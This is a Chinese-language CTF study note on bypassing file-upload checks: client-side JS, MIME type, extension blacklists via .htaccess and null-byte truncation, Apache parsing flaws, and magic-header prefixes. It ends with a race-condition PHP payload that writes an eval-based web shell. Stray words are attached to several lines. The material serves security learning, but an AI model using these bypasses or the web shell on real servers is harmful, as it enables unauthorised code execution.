CTF 文件上傳

兩種校驗方式php

  • 客戶端校驗(javascript校驗)
  • 服務端校驗

1、客戶端校驗

繞過方法html

  • 抓包改包
  • 禁用JS

一、禁用JS

  • 若是是彈窗提示,打開控制檯->網絡,上傳時沒有請求發出去,說明是在本地校驗
  • 火狐插件-yescript2
  • 老版本可使用WebDeveloper

二、抓包改包

用bp抓包後直接改後綴名java

2、服務端校驗

一、MIME類型檢測

MIME類型在html文件中使用content-type屬性表示linux

  • php舉例:
if($_FILES["upfile"]["type"]!="image/gif"){
    echo "只容許上傳圖片";
    exit;
}
  • 常見文件名對應的MIME類型
    • 擴展名:gif MIME類型:image/gif
    • 擴展名:png MIME類型:image/png
    • 擴展名:jpg MIME類型:image/jpg
    • 擴展名:js MIME類型:text/javascript
    • 擴展名:htm MIME類型:text/html
    • 擴展名:html MIME類型:text/html
  • 繞過方法
    • 抓包改content-type字段
    • 改文件名後上傳抓包後再改回文件名
    • 上傳正常文件改文件內容
    • 。。。

二、後綴名黑名單校驗

  • 繞過方法
    • 大小寫繞過,例如Php、PhP
    • 利用黑名單中沒有的,可是又可以被解析的後綴名,例如php、php三、php四、php五、php七、pht、phtml、phps
    • 配合Apache的.htaccess文件上傳解析
      該文件能夠理解爲Apache的分佈式配置文件,在一個特定的文檔中放置,以做用於此目錄及其全部子目錄。管理員能夠經過Apache的AllowOverride指令來設置/etc/apache2/apache2.conf,默認是NONE,須要爲ALL
    <FilesMatch "xxx.jpg">
    SetHandler application/x-httpd-php
    </FilesMacth>
    • 使用00截斷
      基於一個組合邏輯漏洞
    name = getname(http request)//假如這時候獲取到的文件名是test.asp.jpg(asp後面爲0x00)
    type = gettype(name)//而在gettype()函數裏處理方式是從後往前掃描擴展名,因此判斷爲jpg
    if(type==jpg)
    SaveFileToPath(UploadPath.name,name)
    在第一個後綴名後加一個空格(0x20),使用bp->repeater->hex,將其改爲0x00
    • 超長文件名截斷上傳(windows 258byte | linux 4096byte)

三、後綴名白名單校驗

  • 配合Apache的解析缺陷
    Apache的解析漏洞主要特性是從後面開始檢查後綴,按最後一個合法後綴

四、內容頭校驗

  • 繞過方法
    在惡意腳本前加上容許上傳文件的頭標識
    web

    GIF89a
    <?php phpinfo(); ?>

5.競爭上傳

  • 情景
    文件上傳後,檢測是否合法,不合法就刪除
  • 利用方式
    在刪除前訪問到上傳的文件
    <?php $file = 'web.php'; $shell = '<?php eval($_POST["key"])?>'; file_put_contents($file,$shell); ?> 用bp同時上傳和訪問
相關文章
相關標籤/搜索